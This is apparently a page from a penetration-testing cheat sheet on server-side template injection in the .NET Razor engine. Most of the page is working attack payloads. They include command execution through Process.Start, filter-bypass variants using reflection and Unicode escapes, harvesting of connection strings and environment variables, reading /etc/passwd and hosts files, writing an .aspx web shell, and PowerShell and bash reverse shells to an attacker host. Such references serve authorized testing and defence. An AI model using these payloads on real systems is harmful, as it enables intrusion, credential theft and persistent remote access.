Razor (.NET - ASP.NET, ASP.NET Core)
Razor evaluates C#. If you reach Razor compilation with user input, you have full .NET BCL access - System.Diagnostics.Process.Start, System.IO.File, anything in the application’s referenced assemblies.
# Confirm Razor@(7*7) # → 49@System.Environment.MachineName # returns server hostname
# RCE - direct@System.Diagnostics.Process.Start("cmd", "/c whoami").StandardOutput.ReadToEnd()@{ var p = new System.Diagnostics.Process(); p.StartInfo.FileName = "cmd"; p.StartInfo.Arguments = "/c whoami"; p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardOutput = true; p.Start(); p.WaitForExit(); @p.StandardOutput.ReadToEnd() }
# File read@System.IO.File.ReadAllText(@"C:\Windows\System32\drivers\etc\hosts")@System.IO.File.ReadAllText("/etc/passwd") # Linux .NET CoreSuccess indicator: command output (username, hostname, file contents) in response.
Where this engine lives
Section titled “Where this engine lives”- ASP.NET (Web Forms with Razor) -
.cshtmlfiles. SSTI sinks are rare on classic Web Forms but appear in custom CMSes. - ASP.NET Core MVC - Razor is the default view engine. Sinks are in admin “template editor” features or anywhere
RazorEngine/RazorLightis invoked with user input. - Umbraco CMS -
.cshtmltemplates editable by admins. Common target. - Orchard Core - Razor templates in widget definitions.
- DotNetNuke / DNN - module Razor templates.
- Custom .NET apps - anything embedding
RazorEngine.Engine.Razor.RunCompile()with externally-influenced input.
Step 1 - Confirm and orient
Section titled “Step 1 - Confirm and orient”@(7*7) # → 49 confirms Razor template eval@System.Environment.MachineName # returns hostname - confirms .NET BCL access@DateTime.Now # returns current server timeIf @(7*7) returns 49, Razor is evaluating. Move directly to step 2 - there’s no sandbox layer in Razor by default.
Step 2 - RCE paths
Section titled “Step 2 - RCE paths”C# has multiple process-launch APIs. Pick based on what the application reflects.
Path A - Process.Start with output capture
Section titled “Path A - Process.Start with output capture”@{ var psi = new System.Diagnostics.ProcessStartInfo("cmd.exe", "/c whoami") { UseShellExecute = false, RedirectStandardOutput = true }; var p = System.Diagnostics.Process.Start(psi); p.WaitForExit(); @p.StandardOutput.ReadToEnd()}The verbose form. Captures stdout and reflects it. Use when you control a full code block.
Path B - Process.Start one-liner
Section titled “Path B - Process.Start one-liner”@System.Diagnostics.Process.Start("cmd.exe", "/c whoami").StandardOutput.ReadToEnd()Won’t capture output without RedirectStandardOutput - usually returns empty or null reference. Use when you only need the command to run, not the output.
Path C - Linux .NET Core
Section titled “Path C - Linux .NET Core”On .NET Core / .NET 5+ running on Linux:
@{ var psi = new System.Diagnostics.ProcessStartInfo("/bin/sh", "-c \"id\"") { UseShellExecute = false, RedirectStandardOutput = true }; var p = System.Diagnostics.Process.Start(psi); p.WaitForExit(); @p.StandardOutput.ReadToEnd()}Same shape, different executable.
Path D - System.Reflection for blocked-namespace bypass
Section titled “Path D - System.Reflection for blocked-namespace bypass”If System.Diagnostics is filtered, reach Process via reflection:
@{ var t = System.Type.GetType("System.Diagnostics.Process"); var startMethod = t.GetMethod("Start", new System.Type[] { typeof(string), typeof(string) }); startMethod.Invoke(null, new object[] { "cmd.exe", "/c whoami" });}Cleaner via Assembly.Load:
@{ var asm = System.Reflection.Assembly.Load("System.Diagnostics.Process"); var t = asm.GetType("System.Diagnostics.Process"); // ... invoke as above}Step 3 - Loot before escalating
Section titled “Step 3 - Loot before escalating”# Application config / connection strings@System.Configuration.ConfigurationManager.ConnectionStrings["default"].ConnectionString@System.Configuration.ConfigurationManager.AppSettings.AllKeys
# ASP.NET Core configuration (when IConfiguration is reachable through @inject)@inject Microsoft.Extensions.Configuration.IConfiguration Config@Config["ConnectionStrings:DefaultConnection"]
# Environment variables@System.Environment.GetEnvironmentVariables()@System.Environment.GetEnvironmentVariable("ASPNETCORE_ENVIRONMENT")
# Server info@System.Environment.MachineName@System.Environment.UserName # account the app runs as@System.Environment.OSVersion@System.Environment.CurrentDirectory # application root@System.Environment.SystemDirectory
# Loaded assemblies (reveals frameworks/libraries in use)@string.Join(",", System.AppDomain.CurrentDomain.GetAssemblies().Select(a => a.FullName))Connection strings frequently contain DB credentials in plaintext - often sufficient on its own.
Step 4 - File operations
Section titled “Step 4 - File operations”# Read@System.IO.File.ReadAllText(@"C:\Windows\win.ini")@System.IO.File.ReadAllText("/etc/passwd")@System.IO.File.ReadAllLines(@"C:\path\to\config.json")
# Directory listing@string.Join(",", System.IO.Directory.GetFiles(@"C:\"))@string.Join(",", System.IO.Directory.GetFiles("/etc"))
# Write@{ System.IO.File.WriteAllText(@"C:\inetpub\wwwroot\x.aspx", "<%@ Page Language=\"C#\" %><% Response.Write(System.Diagnostics.Process.Start(\"cmd\",\"/c \"+Request[\"c\"]).StandardOutput.ReadToEnd()); %>"); }The web-shell write creates an .aspx file accessible at /x.aspx?c=whoami for follow-up commands without re-triggering the SSTI.
Step 5 - Reverse shell
Section titled “Step 5 - Reverse shell”PowerShell encoded payload via Process.Start:
@System.Diagnostics.Process.Start("powershell.exe", "-NoP -NonI -W Hidden -Enc BASE64_PAYLOAD")Replace BASE64_PAYLOAD with the UTF-16LE base64 of:
$client = New-Object System.Net.Sockets.TCPClient('<LHOST>',<LPORT>); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}; $client.Close()For .NET Core on Linux:
@System.Diagnostics.Process.Start("/bin/sh", "-c \"bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1\"")Razor-engine-specific notes
Section titled “Razor-engine-specific notes”Two distinct libraries handle Razor outside the ASP.NET runtime:
- RazorEngine - older package, NuGet
RazorEngine. Trivially exploitable when called with user input. - RazorLight - newer, NuGet
RazorLight. Same exploitability profile.
Sinks look like:
// RazorEnginevar result = RazorEngine.Engine.Razor.RunCompile(userInput, "templateKey", null, model);
// RazorLightvar result = await engine.CompileRenderStringAsync("templateKey", userInput, model);These libraries are how Razor SSTI shows up outside MVC views - for example, in headless services that template email or report content.
Filter-aware variants
Section titled “Filter-aware variants”# Namespace fragments concatenated@{ var ns = "System.Diagn" + "ostics.Process"; }@{ var t = System.Type.GetType(ns); /* ... */ }
# Unicode escapes in C# string literals (Razor compiles to C#)@System.Diagnostics.\u0050rocess.Start("cmd", "/c id")
# Through @using@using SDP = System.Diagnostics.Process@SDP.Start("cmd", "/c id")Razor’s filter surface is narrow because the compiler accepts so many equivalent forms. Filtering by string match almost always misses an alternative path.
Detection-only payloads
Section titled “Detection-only payloads”@(7*7) # eval probe (returns 49)@System.Environment.MachineName # returns hostname (clear ID of Razor)@DateTime.Now # returns server time@System.IO.Path.DirectorySeparatorChar # returns "\" on Windows, "/" on Linux - OS fingerprint@System.Environment.OSVersion.Platform # returns Win32NT or Unix@System.IO.Path.DirectorySeparatorChar is a useful early probe - it returns a single character that’s hard to confuse with anything else and tells you the OS in one go.
@{ }code blocks allow multi-statement C#. Useful for capturing process output cleanly.@:inline output lets you reflect the result of an expression as text instead of an HTML node - useful in cases where the output is being structured as JSON or YAML.- MVC view compilation - ASP.NET Core compiles views ahead of time by default (Razor compilation in build pipeline). User-input templates require explicit runtime compilation via
RazorViewEngineor one of the standalone libraries above. ConfigurationManageris .NET Framework only - on .NET Core / .NET 5+, configuration access is throughIConfigurationvia dependency injection. Use the@injectdirective in a Razor view (if you can include it) or reach configuration through the staticConfigurationBuilderpath.- Output suppression - Razor errors during compilation throw
RazorEngineCompilationException(or similar). Production apps usually swallow these to a generic error page. If a probe produces no output but the page still renders normally, the compilation likely failed - try simpler probes to confirm presence first.